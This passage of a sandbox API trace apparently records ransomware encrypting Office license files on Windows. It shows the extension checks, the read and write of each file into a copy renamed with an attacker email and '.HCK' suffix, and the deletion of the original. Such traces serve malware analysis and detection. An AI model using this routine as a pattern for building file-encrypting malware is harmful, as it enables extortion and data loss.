[0244.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".xls") returned 4 [0244.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".xlsx") returned 5 [0244.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.483] lstrlenW (lpString=".ppt") returned 4 [0244.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".zip") returned 4 [0244.484] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.484] lstrlenW (lpString=".rar") returned 4 [0244.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.484] lstrlenW (lpString=".bz2") returned 4 [0244.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.484] lstrlenW (lpString=".7z") returned 3 [0244.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.484] lstrlenW (lpString=".dbf") returned 4 [0244.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.484] lstrlenW (lpString=".1cd") returned 4 [0244.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.484] lstrlenW (lpString=".jpg") returned 4 [0244.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.484] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.484] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32 [0244.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.485] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11179) returned 1 [0244.485] CloseHandle (hObject=0x454) returned 1 [0244.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220 [0244.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.485] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.485] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.486] GetLastError () returned 0x0 [0244.486] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0244.488] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0244.489] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.489] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x114, lpOverlapped=0x0) returned 1 [0244.489] SetEndOfFile (hFile=0x2d0) returned 1 [0244.489] CloseHandle (hObject=0x2d0) returned 1 [0244.490] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.490] SetEndOfFile (hFile=0x454) returned 1 [0244.493] CloseHandle (hObject=0x454) returned 1 [0244.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".doc") returned 4 [0244.495] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".docx") returned 5 [0244.495] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.495] lstrlenW (lpString=".pdf") returned 4 [0244.495] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".xls") returned 4 [0244.495] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".xlsx") returned 5 [0244.495] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.495] lstrlenW (lpString=".ppt") returned 4 [0244.495] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".zip") returned 4 [0244.495] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".rar") returned 4 [0244.495] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".bz2") returned 4 [0244.495] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".7z") returned 3 [0244.495] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".dbf") returned 4 [0244.495] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".1cd") returned 4 [0244.495] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".jpg") returned 4 [0244.495] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.495] lstrlenW (lpString=".doc") returned 4 [0244.495] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".docx") returned 5 [0244.495] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.495] lstrlenW (lpString=".pdf") returned 4 [0244.495] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.495] lstrlenW (lpString=".xls") returned 4 [0244.496] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString=".xlsx") returned 5 [0244.496] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.496] lstrlenW (lpString=".ppt") returned 4 [0244.496] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.496] lstrlenW (lpString=".zip") returned 4 [0244.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString=".rar") returned 4 [0244.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString=".bz2") returned 4 [0244.496] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString=".7z") returned 3 [0244.496] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.496] lstrlenW (lpString=".dbf") returned 4 [0244.496] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.496] lstrlenW (lpString=".1cd") returned 4 [0244.496] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0244.496] lstrlenW (lpString=".jpg") returned 4 [0244.496] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.496] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.496] lstrlenW (lpString="O365HomePremR_SubTest1-ppd.xrm-ms") returned 33 [0244.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.497] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=23134) returned 1 [0244.497] CloseHandle (hObject=0x454) returned 1 [0244.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220 [0244.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.091] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.091] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0245.092] GetLastError () returned 0x0 [0245.092] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0245.095] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0245.096] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.096] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0245.096] SetEndOfFile (hFile=0x4c8) returned 1 [0245.096] CloseHandle (hObject=0x4c8) returned 1 [0245.096] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.097] SetEndOfFile (hFile=0x4d4) returned 1 [0245.099] CloseHandle (hObject=0x4d4) returned 1 [0245.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString=".doc") returned 4 [0245.100] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".docx") returned 5 [0245.100] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.100] lstrlenW (lpString=".pdf") returned 4 [0245.100] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".xls") returned 4 [0245.100] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".xlsx") returned 5 [0245.100] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.100] lstrlenW (lpString=".ppt") returned 4 [0245.100] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString=".zip") returned 4 [0245.100] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".rar") returned 4 [0245.100] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".bz2") returned 4 [0245.100] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString=".7z") returned 3 [0245.100] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString=".dbf") returned 4 [0245.100] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString=".1cd") returned 4 [0245.100] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.100] lstrlenW (lpString=".jpg") returned 4 [0245.100] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString=".doc") returned 4 [0245.101] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".docx") returned 5 [0245.101] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.101] lstrlenW (lpString=".pdf") returned 4 [0245.101] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".xls") returned 4 [0245.101] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".xlsx") returned 5 [0245.101] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.101] lstrlenW (lpString=".ppt") returned 4 [0245.101] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString=".zip") returned 4 [0245.101] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".rar") returned 4 [0245.101] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".bz2") returned 4 [0245.101] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString=".7z") returned 3 [0245.101] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString=".dbf") returned 4 [0245.101] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString=".1cd") returned 4 [0245.101] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0245.101] lstrlenW (lpString=".jpg") returned 4 [0245.101] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.101] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.101] lstrlenW (lpString="O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 36 [0245.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.102] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11630) returned 1 [0245.102] CloseHandle (hObject=0x4d4) returned 1 [0245.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220 [0245.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.103] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.103] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0245.103] GetLastError () returned 0x0 [0245.103] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0245.105] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0245.106] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.106] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11c, lpOverlapped=0x0) returned 1 [0245.106] SetEndOfFile (hFile=0x4c8) returned 1 [0245.106] CloseHandle (hObject=0x4c8) returned 1 [0245.106] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.106] SetEndOfFile (hFile=0x4d4) returned 1 [0245.108] CloseHandle (hObject=0x4d4) returned 1 [0245.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".doc") returned 4 [0245.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".docx") returned 5 [0245.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.110] lstrlenW (lpString=".pdf") returned 4 [0245.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".xls") returned 4 [0245.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".xlsx") returned 5 [0245.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.110] lstrlenW (lpString=".ppt") returned 4 [0245.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".zip") returned 4 [0245.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".rar") returned 4 [0245.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".bz2") returned 4 [0245.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString=".7z") returned 3 [0245.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".dbf") returned 4 [0245.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".1cd") returned 4 [0245.110] lstrcmpiW (lpString1=".1cd", 